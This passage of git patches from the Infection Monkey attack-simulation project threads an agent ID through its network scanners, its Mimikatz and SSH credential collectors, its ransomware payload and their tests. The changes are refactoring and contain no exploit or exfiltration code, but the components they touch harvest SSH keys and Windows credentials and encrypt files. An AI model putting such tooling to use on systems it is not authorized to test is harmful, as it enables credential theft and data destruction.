plugin_compatability_verifier) + puppet = Puppet( + self._agent_event_queue, plugin_registry, plugin_compatability_verifier, self._agent_id + ) puppet.load_plugin( AgentPluginType.CREDENTIAL_COLLECTOR, diff --git a/monkey/infection_monkey/network_scanning/ping_scanner.py b/monkey/infection_monkey/network_scanning/ping_scanner.py index 943cf0c7374..aadeebc7af9 100644 --- a/monkey/infection_monkey/network_scanning/ping_scanner.py +++ b/monkey/infection_monkey/network_scanning/ping_scanner.py @@ -10,9 +10,9 @@ from common import OperatingSystem from common.agent_events import PingScanEvent from common.event_queue import IAgentEventQueue +from common.types import AgentID from common.utils.environment import is_windows_os from infection_monkey.i_puppet import PingScanData -from infection_monkey.utils.ids import get_agent_id TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE) LINUX_TTL = 64 # Windows TTL is 128 @@ -22,15 +22,19 @@ logger = logging.getLogger(__name__) -def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData: +def ping( + host: str, timeout: float, agent_event_queue: IAgentEventQueue, agent_id: AgentID +) -> PingScanData: try: - return _ping(host, timeout, agent_event_queue) + return _ping(host, timeout, agent_event_queue, agent_id) except Exception: logger.exception("Unhandled exception occurred while running ping") return EMPTY_PING_SCAN -def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData: +def _ping( + host: str, timeout: float, agent_event_queue: IAgentEventQueue, agent_id: AgentID +) -> PingScanData: if is_windows_os(): timeout = math.floor(timeout * 1000) @@ -39,7 +43,7 @@ def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> Pin ping_scan_data = _process_ping_command_output(ping_command_output) logger.debug(f"{host} - {ping_scan_data}") - ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp) + ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp, agent_id) agent_event_queue.publish(ping_scan_event) return ping_scan_data @@ -103,10 +107,10 @@ def _build_ping_command(host: str, timeout: float): def _generate_ping_scan_event( - host: str, ping_scan_data: PingScanData, event_timestamp: float + host: str, ping_scan_data: PingScanData, event_timestamp: float, agent_id: AgentID ) -> PingScanEvent: return PingScanEvent( - source=get_agent_id(), + source=agent_id, target=IPv4Address(host), timestamp=event_timestamp, response_received=ping_scan_data.response_received, diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py index 217041de798..95d28840309 100644 --- a/monkey/infection_monkey/network_scanning/tcp_scanner.py +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -10,10 +10,9 @@ from common.agent_events import TCPScanEvent from common.event_queue import IAgentEventQueue -from common.types import NetworkPort, PortStatus +from common.types import AgentID, NetworkPort, PortStatus from infection_monkey.i_puppet import PortScanData, PortScanDataDict from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT -from infection_monkey.utils.ids import get_agent_id logger = logging.getLogger(__name__) @@ -26,9 +25,10 @@ def scan_tcp_ports( ports_to_scan: Collection[NetworkPort], timeout: float, agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ) -> PortScanDataDict: try: - return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue) + return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue, agent_id) except Exception: logger.exception("Unhandled exception occurred while trying to scan tcp ports") return EMPTY_PORT_SCAN @@ -39,24 +39,28 @@ def _scan_tcp_ports( ports_to_scan: Collection[NetworkPort], timeout: float, agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ) -> PortScanDataDict: event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout) port_scan_data = _build_port_scan_data(ports_to_scan, open_ports) - tcp_scan_event = _generate_tcp_scan_event(host, port_scan_data, event_timestamp) + tcp_scan_event = _generate_tcp_scan_event(host, port_scan_data, event_timestamp, agent_id) agent_event_queue.publish(tcp_scan_event) return port_scan_data def _generate_tcp_scan_event( - host: str, port_scan_data_dict: PortScanDataDict, event_timestamp: float + host: str, + port_scan_data_dict: PortScanDataDict, + event_timestamp: float, + agent_id: AgentID, ): port_statuses = {port: psd.status for port, psd in port_scan_data_dict.items()} return TCPScanEvent( - source=get_agent_id(), + source=agent_id, target=IPv4Address(host), timestamp=event_timestamp, ports=port_statuses, diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 11313f859e5..32a39633a8d 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -5,7 +5,7 @@ from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.credentials import Credentials from common.event_queue import IAgentEventQueue -from common.types import Event, NetworkPort +from common.types import AgentID, Event, NetworkPort from infection_monkey import network_scanning from infection_monkey.i_puppet import ( ExploiterResultData, @@ -31,10 +31,12 @@ def __init__( agent_event_queue: IAgentEventQueue, plugin_registry: PluginRegistry, plugin_compatability_verifier: PluginCompatabilityVerifier, + agent_id: AgentID, ) -> None: self._plugin_registry = plugin_registry self._agent_event_queue = agent_event_queue self._plugin_compatability_verifier = plugin_compatability_verifier + self._agent_id = agent_id def load_plugin(self, plugin_type: AgentPluginType, plugin_name: str, plugin: object) -> None: self._plugin_registry.load_plugin(plugin_type, plugin_name, plugin) @@ -46,12 +48,14 @@ def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credent return credential_collector.collect_credentials(options) def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: - return network_scanning.ping(host, timeout, self._agent_event_queue) + return network_scanning.ping(host, timeout, self._agent_event_queue, self._agent_id) def scan_tcp_ports( self, host: str, ports: Sequence[NetworkPort], timeout: float = CONNECTION_TIMEOUT ) -> PortScanDataDict: - return network_scanning.scan_tcp_ports(host, ports, timeout, self._agent_event_queue) + return network_scanning.scan_tcp_ports( + host, ports, timeout, self._agent_event_queue, self._agent_id + ) def fingerprint( self, diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py index 850c514457f..925202f8610 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py @@ -7,10 +7,10 @@ import infection_monkey.network_scanning.ping_scanner # noqa: F401 from common import OperatingSystem from common.agent_events import PingScanEvent +from common.types import AgentID from infection_monkey.i_puppet import PingScanData from infection_monkey.network_scanning import ping from infection_monkey.network_scanning.ping_scanner import EMPTY_PING_SCAN -from infection_monkey.utils.ids import get_agent_id LINUX_SUCCESS_OUTPUT = """ PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. @@ -55,6 +55,7 @@ TIMESTAMP = 123.321 +AGENT_ID = AgentID("a15111d3-e150-4ad5-a9b6-34f9d3a3105b") @pytest.fixture(autouse=True) @@ -104,7 +105,7 @@ def set_os_windows(monkeypatch): def _get_ping_scan_event(result: PingScanData): return PingScanEvent( - source=get_agent_id(), + source=AGENT_ID, target=HOST_IP, timestamp=TIMESTAMP, tags=frozenset(), @@ -116,7 +117,7 @@ def _get_ping_scan_event(result: PingScanData): @pytest.mark.usefixtures("set_os_linux") def test_linux_ping_success(patch_subprocess_running_ping_with_ping_output, mock_agent_event_queue): patch_subprocess_running_ping_with_ping_output(LINUX_SUCCESS_OUTPUT) - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert result.response_received @@ -130,7 +131,7 @@ def test_linux_ping_no_response( patch_subprocess_running_ping_with_ping_output, mock_agent_event_queue ): patch_subprocess_running_ping_with_ping_output(LINUX_NO_RESPONSE_OUTPUT) - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert not result.response_received @@ -144,7 +145,7 @@ def test_windows_ping_success( patch_subprocess_running_ping_with_ping_output, mock_agent_event_queue ): patch_subprocess_running_ping_with_ping_output(WINDOWS_SUCCESS_OUTPUT) - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert result.response_received @@ -158,7 +159,7 @@ def test_windows_ping_no_response( patch_subprocess_running_ping_with_ping_output, mock_agent_event_queue ): patch_subprocess_running_ping_with_ping_output(WINDOWS_NO_RESPONSE_OUTPUT) - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert not result.response_received @@ -171,7 +172,7 @@ def test_malformed_ping_command_response( patch_subprocess_running_ping_with_ping_output, mock_agent_event_queue ): patch_subprocess_running_ping_with_ping_output(MALFORMED_OUTPUT) - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert not result.response_received @@ -182,7 +183,7 @@ def test_malformed_ping_command_response( @pytest.mark.usefixtures("patch_subprocess_running_ping_to_raise_timeout_expired") def test_timeout_expired(mock_agent_event_queue): - result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue) + result = ping(HOST_IP, TIMEOUT, mock_agent_event_queue, AGENT_ID) event = _get_ping_scan_event(result) assert not result.response_received @@ -202,7 +203,7 @@ def ping_command_spy(monkeypatch): @pytest.fixture def assert_expected_timeout(ping_command_spy, mock_agent_event_queue): def inner(timeout_flag, timeout_input, expected_timeout): - ping(HOST_IP, timeout_input, mock_agent_event_queue) + ping(HOST_IP, timeout_input, mock_agent_event_queue, AGENT_ID) assert ping_command_spy.call_args is not None @@ -237,5 +238,5 @@ def test_exception_handling(monkeypatch, mock_agent_event_queue): monkeypatch.setattr( "infection_monkey.network_scanning.ping_scanner._ping", MagicMock(side_effect=Exception) ) - assert ping("abc", 10, mock_agent_event_queue) == EMPTY_PING_SCAN + assert ping("abc", 10, mock_agent_event_queue, AGENT_ID) == EMPTY_PING_SCAN assert mock_agent_event_queue.publish.call_count == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py index 2fd67590d46..38621cd0ca1 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py @@ -3,11 +3,10 @@ import pytest from common.agent_events import TCPScanEvent -from common.types import PortStatus +from common.types import AgentID, PortStatus from infection_monkey.i_puppet import PortScanData from infection_monkey.network_scanning import scan_tcp_ports from infection_monkey.network_scanning.tcp_scanner import EMPTY_PORT_SCAN -from infection_monkey.utils.ids import get_agent_id PORTS_TO_SCAN = [22, 80, 8080, 143, 445, 2222] @@ -16,6 +15,7 @@ TIMESTAMP = 123.321 HOST_IP = "127.0.0.1" +AGENT_ID = AgentID("b63e5ca3-e33b-4c3b-96d3-2e6f10d6e2d9") @pytest.fixture(autouse=True) @@ -38,7 +38,7 @@ def _get_tcp_scan_event(port_scan_data: PortScanData): port_statuses = {port: psd.status for port, psd in port_scan_data.items()} return TCPScanEvent( - source=get_agent_id(), + source=AGENT_ID, target=HOST_IP, timestamp=TIMESTAMP, ports=port_statuses, @@ -51,7 +51,7 @@ def test_tcp_successful( ): closed_ports = [8080, 143, 445] - port_scan_data = scan_tcp_ports(HOST_IP, PORTS_TO_SCAN, 0, mock_agent_event_queue) + port_scan_data = scan_tcp_ports(HOST_IP, PORTS_TO_SCAN, 0, mock_agent_event_queue, AGENT_ID) assert len(port_scan_data) == 6 for port in open_ports_data.keys(): @@ -74,7 +74,7 @@ def test_tcp_successful( def test_tcp_empty_response( monkeypatch, patch_check_tcp_ports, open_ports_data, mock_agent_event_queue ): - port_scan_data = scan_tcp_ports(HOST_IP, PORTS_TO_SCAN, 0, mock_agent_event_queue) + port_scan_data = scan_tcp_ports(HOST_IP, PORTS_TO_SCAN, 0, mock_agent_event_queue, AGENT_ID) assert len(port_scan_data) == 6 for port in open_ports_data: @@ -92,7 +92,7 @@ def test_tcp_empty_response( def test_tcp_no_ports_to_scan( monkeypatch, patch_check_tcp_ports, open_ports_data, mock_agent_event_queue ): - port_scan_data = scan_tcp_ports(HOST_IP, [], 0, mock_agent_event_queue) + port_scan_data = scan_tcp_ports(HOST_IP, [], 0, mock_agent_event_queue, AGENT_ID) assert len(port_scan_data) == 0 @@ -107,5 +107,5 @@ def test_exception_handling(monkeypatch, mock_agent_event_queue): "infection_monkey.network_scanning.tcp_scanner._scan_tcp_ports", MagicMock(side_effect=Exception), ) - assert scan_tcp_ports("abc", [123], 123, mock_agent_event_queue) == EMPTY_PORT_SCAN + assert scan_tcp_ports("abc", [123], 123, mock_agent_event_queue, AGENT_ID) == EMPTY_PORT_SCAN assert mock_agent_event_queue.publish.call_count == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 1b575138c3d..41043d121e0 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -8,6 +8,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.event_queue import IAgentEventQueue +from common.types import AgentID from infection_monkey.i_puppet import IncompatibleOperatingSystemError, PingScanData, TargetHost from infection_monkey.puppet import PluginCompatabilityVerifier, PluginRegistry from infection_monkey.puppet.puppet import EMPTY_FINGERPRINT, Puppet @@ -51,6 +52,7 @@ def puppet( agent_event_queue=mock_agent_event_queue, plugin_registry=mock_plugin_registry, plugin_compatability_verifier=mock_plugin_compatability_verifier, + agent_id=AgentID("4277aa81-660b-4673-b96c-443ed525b4d0"), ) From 6bfaf534d16dce433d96842f920199435d7cc849 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 17:35:22 +0000 Subject: [PATCH 0908/1338] Agent: Pass Agent ID to credentials collectors Issue #3119 PR #3157 --- .../mimikatz_credential_collector.py | 7 ++++--- .../ssh_collector/ssh_credential_collector.py | 6 ++++-- .../ssh_collector/ssh_handler.py | 15 +++++++++------ monkey/infection_monkey/monkey.py | 4 ++-- .../test_mimikatz_collector.py | 13 ++++++++----- .../test_ssh_credentials_collector.py | 13 ++++++++++--- 6 files changed, 37 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index 4e3efd594e2..3d2bac0697b 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -5,9 +5,9 @@ from common.credentials import Credentials, LMHash, NTHash, Password, Username from common.event_queue import IAgentEventQueue from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG +from common.types import AgentID from infection_monkey.i_puppet import ICredentialCollector from infection_monkey.model import USERNAME_PREFIX -from infection_monkey.utils.ids import get_agent_id from . import pypykatz_handler from .windows_credentials import WindowsCredentials @@ -27,8 +27,9 @@ class MimikatzCredentialCollector(ICredentialCollector): - def __init__(self, agent_event_queue: IAgentEventQueue): + def __init__(self, agent_event_queue: IAgentEventQueue, agent_id: AgentID): self._agent_event_queue = agent_event_queue + self._agent_id = agent_id def collect_credentials(self, options=None) -> Sequence[Credentials]: logger.info("Attempting to collect windows credentials with pypykatz.") @@ -76,7 +77,7 @@ def _to_credentials(windows_credentials: Sequence[WindowsCredentials]) -> Sequen def _publish_credentials_stolen_event(self, collected_credentials: Sequence[Credentials]): credentials_stolen_event = CredentialsStolenEvent( - source=get_agent_id(), + source=self._agent_id, tags=MIMIKATZ_EVENT_TAGS, stolen_credentials=collected_credentials, ) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index 7b0241d9a91..df352264133 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -3,6 +3,7 @@ from common.credentials import Credentials from common.event_queue import IAgentEventQueue +from common.types import AgentID from infection_monkey.credential_collectors.ssh_collector import ssh_handler from infection_monkey.i_puppet import ICredentialCollector @@ -14,12 +15,13 @@ class SSHCredentialCollector(ICredentialCollector): SSH keys credential collector """ - def __init__(self, agent_event_queue: IAgentEventQueue): + def __init__(self, agent_event_queue: IAgentEventQueue, agent_id: AgentID): self._agent_event_queue = agent_event_queue + self._agent_id = agent_id def collect_credentials(self, _options=None) -> Sequence[Credentials]: logger.info("Started scanning for SSH credentials") - ssh_info = ssh_handler.get_ssh_info(self._agent_event_queue) + ssh_info = ssh_handler.get_ssh_info(self._agent_event_queue, self._agent_id) logger.info("Finished scanning for SSH credentials") return ssh_handler.to_credentials(ssh_info) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index fe314d15b61..f7d54b18713 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -11,8 +11,8 @@ T1005_ATTACK_TECHNIQUE_TAG, T1145_ATTACK_TECHNIQUE_TAG, ) +from common.types import AgentID from common.utils.environment import is_windows_os -from infection_monkey.utils.ids import get_agent_id logger = logging.getLogger(__name__) @@ -29,7 +29,7 @@ ) -def get_ssh_info(agent_event_queue: IAgentEventQueue) -> Iterable[Dict]: +def get_ssh_info(agent_event_queue: IAgentEventQueue, agent_id: AgentID) -> Iterable[Dict]: # TODO: Remove this check when this is turned into a plugin. if is_windows_os(): logger.debug( @@ -38,7 +38,7 @@ def get_ssh_info(agent_event_queue: IAgentEventQueue) -> Iterable[Dict]: return [] home_dirs = _get_home_dirs() - ssh_info = _get_ssh_files(home_dirs, agent_event_queue) + ssh_info = _get_ssh_files(home_dirs, agent_event_queue, agent_id) return ssh_info @@ -79,6 +79,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: def _get_ssh_files( user_info: Iterable[Dict], agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ) -> Iterable[Dict]: for info in user_info: path = info["home_dir"] @@ -109,7 +110,7 @@ def _get_ssh_files( logger.info("Found private key in %s" % private) collected_credentials = to_credentials([info]) _publish_credentials_stolen_event( - collected_credentials, agent_event_queue + collected_credentials, agent_event_queue, agent_id ) else: continue @@ -154,10 +155,12 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: def _publish_credentials_stolen_event( - collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue + collected_credentials: Sequence[Credentials], + agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ): credentials_stolen_event = CredentialsStolenEvent( - source=get_agent_id(), + source=agent_id, tags=SSH_COLLECTOR_EVENT_TAGS, stolen_credentials=collected_credentials, ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 2589fd8c235..0fec20edb11 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -413,12 +413,12 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: puppet.load_plugin( AgentPluginType.CREDENTIAL_COLLECTOR, "MimikatzCollector", - MimikatzCredentialCollector(self._agent_event_queue), + MimikatzCredentialCollector(self._agent_event_queue, self._agent_id), ) puppet.load_plugin( AgentPluginType.CREDENTIAL_COLLECTOR, "SSHCollector", - SSHCredentialCollector(self._agent_event_queue), + SSHCredentialCollector(self._agent_event_queue, self._agent_id), ) puppet.load_plugin(AgentPluginType.FINGERPRINTER, "http", HTTPFingerprinter()) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py index 38292ea9ba9..2a043a1f418 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py @@ -6,6 +6,7 @@ from common.agent_events import CredentialsStolenEvent from common.credentials import Credentials, LMHash, NTHash, Password, Username from common.event_queue import IAgentEventQueue +from common.types import AgentID from infection_monkey.credential_collectors import MimikatzCredentialCollector from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_credential_collector import ( # noqa: E501 MIMIKATZ_EVENT_TAGS, @@ -14,8 +15,10 @@ WindowsCredentials, ) +AGENT_ID = AgentID("be11ad56-995d-45fd-be03-e7806a47b56b") -def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): + +def patch_pypykatz(win_creds: Sequence[WindowsCredentials], monkeypatch): monkeypatch.setattr( "infection_monkey.credential_collectors" ".mimikatz_collector.pypykatz_handler.get_windows_creds", @@ -25,7 +28,7 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): def collect_credentials() -> Sequence[Credentials]: mock_event_queue = MagicMock(spec=IAgentEventQueue) - return MimikatzCredentialCollector(mock_event_queue).collect_credentials() + return MimikatzCredentialCollector(mock_event_queue, AGENT_ID).collect_credentials() @pytest.mark.parametrize( @@ -129,7 +132,7 @@ def test_mimikatz_credentials_stolen_event_published(monkeypatch): mock_event_queue = MagicMock(spec=IAgentEventQueue) patch_pypykatz([], monkeypatch) - mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue) + mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue, AGENT_ID) mimikatz_credential_collector.collect_credentials() mock_event_queue.publish.assert_called_once() @@ -143,7 +146,7 @@ def test_mimikatz_credentials_stolen_event_tags(monkeypatch): mock_event_queue = MagicMock(spec=IAgentEventQueue) patch_pypykatz([], monkeypatch) - mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue) + mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue, AGENT_ID) mimikatz_credential_collector.collect_credentials() mock_event_queue_call_args = mock_event_queue.publish.call_args[0][0] @@ -160,7 +163,7 @@ def test_mimikatz_credentials_stolen_event_stolen_credentials(monkeypatch): ] patch_pypykatz(win_creds, monkeypatch) - mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue) + mimikatz_credential_collector = MimikatzCredentialCollector(mock_event_queue, AGENT_ID) collected_credentials = mimikatz_credential_collector.collect_credentials() mock_event_queue_call_args = mock_event_queue.publish.call_args[0][0] diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py index 85785f399c0..94cb2bcbd92 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py @@ -4,13 +4,16 @@ from common.credentials import Credentials, SSHKeypair, Username from common.event_queue import IAgentEventQueue +from common.types import AgentID from infection_monkey.credential_collectors import SSHCredentialCollector +AGENT_ID = AgentID("ed077054-a316-479a-a99d-75bb378c0a6e") + def patch_ssh_handler(ssh_creds, monkeypatch): monkeypatch.setattr( "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", - lambda _: ssh_creds, + lambda _, __: ssh_creds, ) @@ -19,7 +22,9 @@ def patch_ssh_handler(ssh_creds, monkeypatch): ) def test_ssh_credentials_empty_results(monkeypatch, ssh_creds): patch_ssh_handler(ssh_creds, monkeypatch) - collected = SSHCredentialCollector(MagicMock(spec=IAgentEventQueue)).collect_credentials() + collected = SSHCredentialCollector( + MagicMock(spec=IAgentEventQueue), AGENT_ID + ).collect_credentials() assert not collected @@ -64,5 +69,7 @@ def test_ssh_info_result_parsing(monkeypatch): Credentials(identity=username3, secret=None), Credentials(identity=None, secret=ssh_keypair3), ] - collected = SSHCredentialCollector(MagicMock(spec=IAgentEventQueue)).collect_credentials() + collected = SSHCredentialCollector( + MagicMock(spec=IAgentEventQueue), AGENT_ID + ).collect_credentials() assert expected == collected From 6d8978d5afcf68187894d6d6c9ecddcc6c298719 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 17:53:28 +0000 Subject: [PATCH 0909/1338] Agent: Pass Agent ID to Ransomware Issue #3119 PR #3158 --- monkey/infection_monkey/monkey.py | 4 +++- monkey/infection_monkey/payload/ransomware/ransomware.py | 6 ++++-- .../payload/ransomware/ransomware_builder.py | 4 +++- .../payload/ransomware/ransomware_payload.py | 9 ++++++--- .../payload/ransomware/test_integrated_ransomware.py | 5 ++++- .../payload/ransomware/test_ransomware.py | 2 ++ 6 files changed, 22 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0fec20edb11..b8151ec5edd 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -461,7 +461,9 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: ) puppet.load_plugin( - AgentPluginType.PAYLOAD, "ransomware", RansomwarePayload(self._agent_event_queue) + AgentPluginType.PAYLOAD, + "ransomware", + RansomwarePayload(self._agent_event_queue, self._agent_id), ) return puppet diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 0531b75fcaa..503f5e092bd 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -6,7 +6,7 @@ from common.agent_events import FileEncryptionEvent from common.event_queue import IAgentEventQueue from common.tags import T1486_ATTACK_TECHNIQUE_TAG -from infection_monkey.utils.ids import get_agent_id +from common.types import AgentID from infection_monkey.utils.threading import interruptible_function, interruptible_iter from .consts import README_FILE_NAME, README_SRC @@ -26,6 +26,7 @@ def __init__( select_files: Callable[[Path], Iterable[Path]], leave_readme: Callable[[Path, Path], None], agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ): self._config = config @@ -33,6 +34,7 @@ def __init__( self._select_files = select_files self._leave_readme = leave_readme self._agent_event_queue = agent_event_queue + self._agent_id = agent_id self._target_directory = self._config.target_directory self._readme_file_path = ( @@ -91,7 +93,7 @@ def _encrypt_files(self, files_to_encrypt: Iterable[Path], interrupt: threading. def _publish_file_encryption_event(self, filepath: Path, success: bool, error: str): file_encryption_event = FileEncryptionEvent( - source=get_agent_id(), + source=self._agent_id, file_path=filepath, success=success, error_message=error, diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py index 8f2f28f1618..ecaf94ad282 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py @@ -2,6 +2,7 @@ from pprint import pformat from common.event_queue import IAgentEventQueue +from common.types import AgentID from infection_monkey.utils.bit_manipulators import flip_bits from . import readme_dropper @@ -19,6 +20,7 @@ def build_ransomware( options: dict, agent_event_queue: IAgentEventQueue, + agent_id: AgentID, ): logger.debug(f"Ransomware configuration:\n{pformat(options)}") ransomware_options = RansomwareOptions(options) @@ -28,7 +30,7 @@ def build_ransomware( leave_readme = _build_leave_readme() return Ransomware( - ransomware_options, file_encryptor, file_selector, leave_readme, agent_event_queue + ransomware_options, file_encryptor, file_selector, leave_readme, agent_event_queue, agent_id ) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py index 8635dedffb2..e787f59fdec 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py @@ -1,16 +1,19 @@ from typing import Dict from common.event_queue import IAgentEventQueue -from common.types import Event +from common.types import AgentID, Event from infection_monkey.payload.i_payload import IPayload from . import ransomware_builder class RansomwarePayload(IPayload): - def __init__(self, agent_event_queue: IAgentEventQueue): + def __init__(self, agent_event_queue: IAgentEventQueue, agent_id: AgentID): self._agent_event_queue = agent_event_queue + self._agent_id = agent_id def run(self, options: Dict, interrupt: Event): - ransomware = ransomware_builder.build_ransomware(options, self._agent_event_queue) + ransomware = ransomware_builder.build_ransomware( + options, self._agent_event_queue, self._agent_id + ) ransomware.run(interrupt) diff --git a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py b/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py index 48a3eae707b..bfe0f507028 100644 --- a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py +++ b/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py @@ -7,6 +7,9 @@ import infection_monkey.payload.ransomware.ransomware_builder as ransomware_builder from common.agent_configuration.default_agent_configuration import RANSOMWARE_OPTIONS from common.event_queue import IAgentEventQueue +from common.types import AgentID + +AGENT_ID = AgentID("0442ca83-10ce-495f-9c1c-92b4e1f5c39c") @pytest.fixture @@ -25,7 +28,7 @@ def test_uses_correct_extension(ransomware_options_dict, tmp_path, ransomware_fi ransomware_directories["linux_target_dir"] = target_dir ransomware_directories["windows_target_dir"] = target_dir ransomware = ransomware_builder.build_ransomware( - ransomware_options_dict, MagicMock(spec=IAgentEventQueue) + ransomware_options_dict, 